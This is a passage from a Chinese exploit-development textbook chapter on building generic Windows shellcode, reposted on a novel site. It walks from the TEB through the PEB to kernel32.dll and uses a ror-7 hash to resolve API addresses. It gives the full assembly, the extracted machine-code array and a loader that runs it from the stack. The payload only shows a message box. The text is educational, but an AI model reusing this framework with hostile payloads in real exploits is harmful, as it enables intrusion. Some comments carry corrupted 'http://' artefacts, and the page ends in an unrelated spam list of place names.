官术网_书友最值得收藏!

  • 0day安全
  • 王清主編
  • 4091字
  • 2019-01-01 12:26:19

3.4 開發通用的shellcode

3.4.1 定位API的原理

回顧2.4節和3.2節中的shellcode是怎樣調用MessagBoxA和ExitProcess函數的。如果您親手實驗了這些步驟,在使用Dependency Walker計算您的計算機中的API入口地址的時候,可能會發現您的地址和本書實驗指導中的地址有所差異。原因有幾下幾點。

(1)不同的操作系統版本:Windows 2000,Windows XP等會影響動態鏈接庫的加載基址。

(2)不同的補丁版本:很多安全補丁會修改這些動態鏈接庫中的函數,使得不同版本補丁對應的動態鏈接庫的內容有所不同,包括動態鏈接庫文件的大小和導出函數的偏移地址。

由于這些因素,我們手工查出的API地址很可能會在其他計算機上失效。在shellcode中使用靜態函數地址來調用API會使exploit的通用性受到很大限制。所以,實際中使用的shellcode必須還要能動態地獲得自身所需的API函數地址。

Windows的API是通過動態鏈接庫中的導出函數來實現的,例如,內存操作等函數在kernel32.dll中實現;大量的圖形界面相關的API則在user32.dll中實現。Win_32平臺下的shellcode使用最廣泛的方法,就是通過從進程環境塊中找到動態鏈接庫的導出表,并搜索出所需的API地址,然后逐一調用。

所有win_32程序都會加載ntdll.dll和kernel32.dll這兩個最基礎的動態鏈接庫。如果想要在win_32平臺下定位kernel32.dll中的 API地址,可以采用如下方法。

(1)首先通過段選擇字FS在內存中找到當前的線程環境塊TEB。

(2)線程環境塊偏移位置為0x30的地方存放著指向進程環境塊PEB的指針。

(3)進程環境塊中偏移位置為0x0C的地方存放著指向PEB_LDR_DATA結構體的指針,其中,存放著已經被進程裝載的動態鏈接庫的信息。

(4)PEB_LDR_DATA結構體偏移位置為0x1C的地方存放著指向模塊初始化鏈表的頭指針InInitializationOrderModuleList。

(5)模塊初始化鏈表InInitializationOrderModuleList中按順序存放著PE裝入運行時初始化模塊的信息,第一個鏈表結點是ntdll.dll,第二個鏈表結點就是kernel32.dll。

(6)找到屬于kernel32.dll的結點后,在其基礎上再偏移0x08就是kernel32.dll在內存中的加載基地址。

(7)從kernel32.dll的加載基址算起,偏移0x3C的地方就是其PE頭。

(8)PE頭偏移0x78的地方存放著指向函數導出表的指針。

(9)至此,我們可以按如下方式在函數導出表中算出所需函數的入口地址,如圖3.4.1所示。

·導出表偏移0x1C處的指針指向存儲導出函數偏移地址(RVA)的列表。

·導出表偏移0x20處的指針指向存儲導出函數函數名的列表。

·函數的RVA地址和名字按照順序存放在上述兩個列表中,我們可以在名稱列表中定位到所需的函數是第幾個,然后在地址列表中找到對應的RVA。

·獲得RVA后,再加上前邊已經得到的動態鏈接庫的加載基址,就獲得了所需API此刻在內存中的虛擬地址,這個地址就是我們最終在shellcode中調用時需要的地址。

按照上面的方法,我們已經可以獲得kernel32.dll中的任意函數。類似地,我們已經具備了定位ws2_32.dll中的winsock函數來編寫一個能夠獲得遠程shell的真正的shellcode了。

其實,在摸透了kernel32.dll中的所有導出函數之后,結合使用其中的兩個函數LoadLibrary()和GetProcAddress(),有時可以讓定位所需其他API的工作變得更加容易。

圖3.4.1 在shellcode中動態定位API的原理

本節實驗將用上述定位API的方法把彈出消息框的shellcode進一步完善,使其能夠適應任意win_32平臺,不受操作系統版本和補丁版本的限制。

3.4.2 shellcode的加載與調試

shellcode的最常見形式就是用轉移字符把機器碼存在一個字符數組中,例如,前邊我們彈出消息框并能正常退出程序的shellcode就可以存成下述形式。

char box_popup[]=
"\x66\x81\xEC\x40\x04" //  SUB SP,440
"\x33\xDB"  //  XOR EBX,EBX
"\x53"  //  PUSH EBX
"\x68\x77\x65\x73\x74" //  PUSH 74736577
"\x68\x66\x61\x69\x6C" //  PUSH 6C696166
"\x8B\xC4"  //  MOV EAX,ESP
"\x53"  //  PUSH EBX
"\x50"  //  PUSH EAX
"\x50"  //  PUSH EAX
"\x53"  //  PUSH EBX
"\xB8\xEA\x04\xD8\x77" //  MOV EAX,user32.MessageBoxA
"\xFF\xD0"  //  CALL EAX
"\x53"  //  PUSH EBX  ;/ExitCode
"\xB8\xDA\xCD\x81\x7C" //  MOV EAX,kernel32.ExitProcess
"\xFF\xD0";  //  CALL EAX  ;\ExitProcess

如果在互聯網上搜集常用的shellcode,一般得到的也是類似的存于字符數組的機器碼。我們本節實驗中將對上述代碼進行完善,加入自動獲取API入口地址的功能,最終得到的也是類似這種形式的機器代碼。

雖然這種形式的shellcode可以在C語言中輕易地布置進內存的目標區域,但是如果出了問題,往往難于調試。所以,在我們開始著手改造shellcode之前,先看看相關的調試環境。

由于shellcode需要漏洞程序已經初始化好了的進程空間和資源等,故往往不能單獨運行。為了能在實際運行中調試這樣的機器碼,我們可以使用這樣一段簡單的代碼來裝載shellcode。

char shellcode[]="\x66\x81\xEC\x40\x04\x33\xDB……";//欲調試的十六
//進制機器碼"
void main()
{
      __asm
      {
                lea eax, shellcode
                push    eax
                ret
      }
}

ret指令會將push進去的shellcode在棧中的起始地址彈給EIP,讓處理器跳轉到棧區去執行shellcode。我們可以用這段裝載程序運行搜集到的shellcode,并調試之。若搜集到的shellcode不能滿足需求,也可以在調試的基礎上稍作修改,為它增加新功能。

3.4.3 動態定位API地址的shellcode

下面我們將給shellcode加入自動定位API的功能。為了實現彈出消息框并顯示“failwest”的功能,需要使用如下API函數。

(1)MessageBoxA 位于user32.dll中,用于彈出消息框。

(2)ExitProcess 位于kernel32.dll中,用于正常退出程序。

(3)LoadLibraryA 位于kernel32.dll中。并不是所有的程序都會裝載user32.dll,所以在我們調用MessageBoxA之前,應該先使用LoadLibrary(“user32.dll”)裝載其所屬的動態鏈接庫。

通過前面介紹的win_32平臺下搜索API地址的辦法,我們可以從FS所指的線程環境塊開始,一直追溯到動態鏈接庫的函數名導出表,在其中搜索出所需的API函數是第幾個,然后在函數偏移地址(RVA)導出表中找到這個地址。

由于shellcode最終是要放進緩沖區的,為了讓shellcode更加通用,能被大多數緩沖區容納,我們總是希望shellcode盡可能短。因此,在函數名導出表中搜索函數名的時候,一般情況下并不會用“MessageBoxA”這么長的字符串去進行直接比較。

通常情況下,我們會對所需的API函數名進行hash運算,在搜索導出表時對當前遇到的函數名也進行同樣的hash,這樣只要比較hash所得的摘要(digest)就能判定是不是我們所需的API了。雖然這種搜索方法需要引入額外的hash算法,但是可以節省出存儲函數名字符串的代碼。

提示:本書中所說的hash指的是hash算法,是一個運算過程。經過hash后得到的值將被稱做摘要,即digest,請讀者注意這種敘述方式。

本節實驗中所用hash函數的C代碼如下。

#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
      DWORD digest=0;
      while(*fun_name)
      {
         digest=((digest<<25)|(digest>>7)); //循環右移7位
         digest+= *fun_name ;  //累加
         fun_name++;
      }
      return digest;
}
main()
{
      DWORD hash;
      hash= GetHash("AddAtomA");
      printf("result of hash is %.8x\n",hash);
}

如上述代碼,我們將把字符串中的字符逐一取出,把ASCII碼從單字節轉換成四字節的雙字(DWORD),循環右移7位之后再進行累積。

代碼中只比較經過hash運算的函數名摘要,也就是說,不論API函數名多么長,我們只需要存一個雙字就行。而上述hash算法只需要用ror和add兩條指令就能實現。

題外話:在下一節中,我們將討論怎樣精簡shellcode的長度,其中會詳細討論按照什么標準來選取hash算法。實際上您會發現hash后的摘要并不一定是一個雙字(32bit),精心構造的hash算法可以讓一個字節(8bit)的摘要也滿足要求。

API函數及hash后的摘要如表3-4-1所示。

表3-4-1 API函數及hash后的摘要

在將hash壓入棧中之前,注意先將增量標志DF清零。因為當shellcode是利用異常處理機制而植入的時候,往往會產生標志位的變化,使shellcode中的字串處理方向發生變化而產生錯誤(如指令LODSD)。如果您在堆溢出利用中發現原本身經百戰的shellcode在運行時出錯,很可能就是這個原因??傊粋€字節的指令可以大大增加shellcode的通用性。

現在可以將這些hash結果壓入棧中,并用一個寄存器標識位置,以備后面搜索API函數時使用。

;store hash
push 0x1e380a6a  ;hash of MessageBoxA
push 0x4fd18963  ;hash of ExitProcess
push 0x0c917432  ;hash of LoadLibraryA
mov esi,esp  ;esi = addr of first function hash
lea edi,[esi-0xc] ;edi = addr to start writing function

然后我們需要抬高棧頂,保護shellcode不被入棧數據破壞。

;make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx

按照圖3.4.1所示,定位kernel32.dll的代碼如下。

;find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30]  ;ebx = address of PEB
mov ecx, [ebx + 0x0c]  ;ecx = pointer to loader data
mov ecx, [ecx + 0x1c]  ;ecx = first entry in initialisation
;order list
mov ecx, [ecx]
;ecx = second entry in list;(kernel32.dll)
mov ebp, [ecx + 0x08]  ;ebp = base address of kernel32.dll

在導入表中搜索API的邏輯可以設計如圖3.4.2所示。

圖3.4.2 定位API的流程圖

最終的代碼實現如下。

int main()
{
  _asm{
      CLD  ;clear flag DF
      ;store hash
      push 0x1e380a6a ;hash of MessageBoxA
      push 0x4fd18963 ;hash of ExitProcess
      push 0x0c917432 ;hash of LoadLibraryA
      mov esi,esp ;esi = addr of first function hash
      lea edi,[esi-0xc] ;edi = addr to start writing function
      ;make some stack space
      xor ebx,ebx
      mov bh, 0x04
      sub esp, ebx
      ;push a pointer to "user32" onto stack
      mov bx, 0x3233 ;rest of ebx is null
      push ebx
      push 0x72657375
      push esp
      xor edx,edx
      ;find base addr of kernel32.dll
      mov ebx, fs:[edx + 0x30] ;ebx = address of PEB
      mov ecx, [ebx + 0x0c] ;ecx = pointer to loader data
      mov ecx, [ecx + 0x1c] ;ecx = first entry in initialization
      ;order list
      mov ecx, [ecx] ;ecx = second entry in list
      ;(kernel32.dll)
      mov ebp, [ecx + 0x08] ;ebp = base address of kernel32.dll
  find_lib_functions:
      lodsd  ;load next hash into al and increment esi cmp eax, 0x1e380a6a ;hash of MessageBoxA - trigger
      ;LoadLibrary("user32")
      jne find_functions
      xchg eax, ebp  ;save current hash
      call [edi - 0x8] ;LoadLibraryA
      xchg eax, ebp  ;restore current hash, and update ebp
      ;with base address of user32.dll
  find_functions:
      pushad  ;preserve registers
      mov eax, [ebp + 0x3c] ;eax = start of PE header
      mov ecx, [ebp + eax + 0x78] ;ecx = relative offset of export table
      add ecx, ebp  ;ecx = absolute addr of export table
      mov ebx, [ecx + 0x20] ;ebx = relative offset of names table
      add ebx, ebp  ;ebx = absolute addr of names table
      xor edi, edi  ;edi will count through the functions
  next_function_loop:
      inc edi  ;increment function counter
      mov esi, [ebx + edi * 4] ;esi = relative offset of current
      ;function name
      add esi, ebp  ;esi = absolute addr of current
      ;function name
      cdq  ;dl will hold hash (we know eax is
      ;small)
  hash_loop:
      movsx eax, byte ptr[esi]
      cmp al,ah
      jz compare_hash
      ror edx,7
      add edx,eax
      inc esi
      jmp hash_loop
  compare_hash:
      cmp edx, [esp + 0x1c] ;compare to the requested hash (saved on;stack from pushad)
      jnz next_function_loop
      mov ebx, [ecx + 0x24] ;ebx = relative offset of ordinals
      ;table
      add ebx, ebp  ;ebx = absolute addr of ordinals
      ;table
      mov di, [ebx + 2 * edi] ;di = ordinal number of matched
      ;function
      mov ebx, [ecx + 0x1c] ;ebx = relative offset of address
      ;table
      add ebx, ebp  ;ebx = absolute addr of address table
      add ebp, [ebx + 4 * edi] ;add to ebp (base addr of module) the
      ;relative offset of matched function
      xchg eax, ebp  ;move func addr into eax
      pop edi  ;edi is last onto stack in pushad
      stosd
      ;write function addr to [edi] and
      ;increment edi
      push edi
      popad  ;restore registers;loop until we reach end of last hash
      cmp eax,0x1e380a6a
      jne find_lib_functions
  function_call:
      xor ebx,ebx
      push ebx ;cut string
      push 0x74736577
      push 0x6C696166 ;push failwest
      mov eax,esp ;load address of failwest
      push ebx
      push eax
      push eax
      push ebx
      call [edi - 0x04]  ;call MessageboxA
      push ebx
      call [edi - 0x08] ;call ExitProcess
      nop
      nop
      nop
      nop
  }
}

上述匯編代碼可以用VC 6.0直接編譯運行,并生成PE文件。之后可以用OllyDbg或者IDA等反匯編工具從PE文件的代碼節中提取出二進制的機器碼如下。

提示:之所以在匯編代碼的前后都加上一段nop(0x90),是為了在反匯編工具或調試時非常方便地區分出shellcode的代碼。

"\x90"http://  NOP
"\xFC"http://  CLD
"\x68\x6A\x0A\x38\x1E"http:// PUSH 1E380A6A
"\x68\x63\x89\xD1\x4F"http:// PUSH 4FD18963
"\x68\x32\x74\x91\x0C"http:// PUSH 0C917432
"\x8B\xF4"http://  MOV ESI,ESP
"\x8D\x7E\xF4"http:// LEA EDI,DWORD PTR DS:[ESI-C]
"\x33\xDB"http://  XOR EBX,EBX
"\xB7\x04"http://  MOV BH,4
"\x2B\xE3"http://  SUB ESP,EBX
"\x66\xBB\x33\x32"http:// MOV BX,3233
"\x53"http://  PUSH EBX
"\x68\x75\x73\x65\x72"http:// PUSH 72657375
"\x54"http://  PUSH ESP
"\x33\xD2"http://  XOR EDX,EDX
"\x64\x8B\x5A\x30"http:// MOV EBX,DWORD PTR FS:[EDX+30]
"\x8B\x4B\x0C"http:// MOV ECX,DWORD PTR DS:[EBX+C]
"\x8B\x49\x1C"http:// MOV ECX,DWORD PTR DS:[ECX+1C]
"\x8B\x09"http://  MOV ECX,DWORD PTR DS:[ECX]
"\x8B\x69\x08"http:// MOV EBP,DWORD PTR DS:[ECX+8]
"\xAD"http://  LODS DWORD PTR DS:[ESI]
"\x3D\x6A\x0A\x38\x1E"http:// CMP EAX,1E380A6A
"\x75\x05"http://  JNZ SHORT popup_co.00401070
"\x95"http://  XCHG EAX,EBP
"\xFF\x57\xF8"http:// CALL DWORD PTR DS:[EDI-8]
"\x95"http://  XCHG EAX,EBP
"\x60"http://  PUSHAD
"\x8B\x45\x3C"http:// MOV EAX,DWORD PTR SS:[EBP+3C]
"\x8B\x4C\x05\x78"http:// MOV ECX,DWORD PTR SS:[EBP+EAX+78]
"\x03\xCD"http://  ADD ECX,EBP
"\x8B\x59\x20"http:// MOV EBX,DWORD PTR DS:[ECX+20]
"\x03\xDD"http://  ADD EBX,EBP
"\x33\xFF"http://  XOR EDI,EDI
"\x47"http://  INC EDI
"\x8B\x34\xBB"http:// MOV ESI,DWORD PTR DS:[EBX+EDI*4]
"\x03\xF5"http://  ADD ESI,EBP
"\x99"http://  CDQ
"\x0F\xBE\x06"http:// MOVSX EAX,BYTE PTR DS:[ESI]
"\x3A\xC4"http://  CMP AL,AH
"\x74\x08"http://  JE SHORT popup_co.00401097
"\xC1\xCA\x07"http:// ROR EDX,7
"\x03\xD0"http://  ADD EDX,EAX
"\x46"http://  INC ESI
"\xEB\xF1"http://  JMP SHORT popup_co.00401088
"\x3B\x54\x24\x1C"http:// CMP EDX,DWORD PTR SS:[ESP+1C]
"\x75\xE4"http://  JNZ SHORT popup_co.00401081
"\x8B\x59\x24"http:// MOV EBX,DWORD PTR DS:[ECX+24]
"\x03\xDD"http://  ADD EBX,EBP
"\x66\x8B\x3C\x7B"http:// MOV DI,WORD PTR DS:[EBX+EDI*2]
"\x8B\x59\x1C"http:// MOV EBX,DWORD PTR DS:[ECX+1C]
"\x03\xDD"http://  ADD EBX,EBP
"\x03\x2C\xBB"http:// ADD EBP,DWORD PTR DS:[EBX+EDI*4]
"\x95"http://  XCHG EAX,EBP
"\x5F"http://  POP EDI
"\xAB"http://  STOS DWORD PTR ES:[EDI]
"\x57"http://  PUSH EDI
"\x61"http://  POPAD
"\x3D\x6A\x0A\x38\x1E"http:// CMP EAX,1E380A6A
"\x75\xA9"http://  JNZ SHORT popup_co.00401063
"\x33\xDB"http://  XOR EBX,EBX
"\x53"http://  PUSH EBX
"\x68\x77\x65\x73\x74"http:// PUSH 74736577
"\x68\x66\x61\x69\x6C"http:// PUSH 6C696166
"\x8B\xC4"http://  MOV EAX,ESP
"\x53"http://  PUSH EBX
"\x50"http://  PUSH EAX
"\x50"http://  PUSH EAX
"\x53"http://  PUSH EBX
"\xFF\x57\xFC"http:// CALL DWORD PTR DS:[EDI-4]
"\x53"http://  PUSH EBX
"\xFF\x57\xF8";// CALL DWORD PTR DS:[EDI-8]

上述這種保存在字符數組中的shellcode已經可以輕易地在exploit程序中使用了,也可以用前邊的shellcode裝載程序單獨加載運行。

char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
void main()
{
     __asm
     {
        lea eax, popup_general
        push eax
        ret
   }
   }

這樣,一段考慮了跨平臺、健壯性、穩定性、通用性等各方面因素的高質量shellcode就生成了。本書后面章節將在實驗中反復使用這段shellcode。經過反復的實驗,這段shellcode在各種溢出利用場景下都表現出色。

通過本節的介紹,可以看出即使是經驗豐富的匯編程序員,想要寫出高質量的shellcode也得著實花一翻工夫。事實上,若非真的有特殊需要,即使是經驗豐富的hacker也不會總是自己編寫shellcode。大多數情況下,從Internet上可以得到許多經典的shellcode。另外MetaSploit通用漏洞測試架構3.0下的payload庫中,目前已經包含了包括綁定端口、網馬downloader、遠程shell、任意命令執行等在內的104種不同功能的經典shellcode。通過簡單的參數配置,可以輕易導出C語言格式、Perl語言格式、ruby語言格式、原始十六進制格式等形式的shellcode。我們會在后面章節中專門介紹MataSploit的使用和開發。

主站蜘蛛池模板: 集安市| 平塘县| 家居| 当阳市| 西乡县| 临桂县| 封丘县| 来安县| 齐齐哈尔市| 莱西市| 兰坪| 越西县| 莆田市| 嫩江县| 莎车县| 临武县| 介休市| 合山市| 陇西县| 方城县| 阿城市| 榆林市| 石景山区| 郧西县| 理塘县| 孟村| 深水埗区| 金湖县| 微博| 金坛市| 阜南县| 乌拉特中旗| 邓州市| 德化县| 厦门市| 安顺市| 惠东县| 广丰县| 海阳市| 武穴市| 惠安县|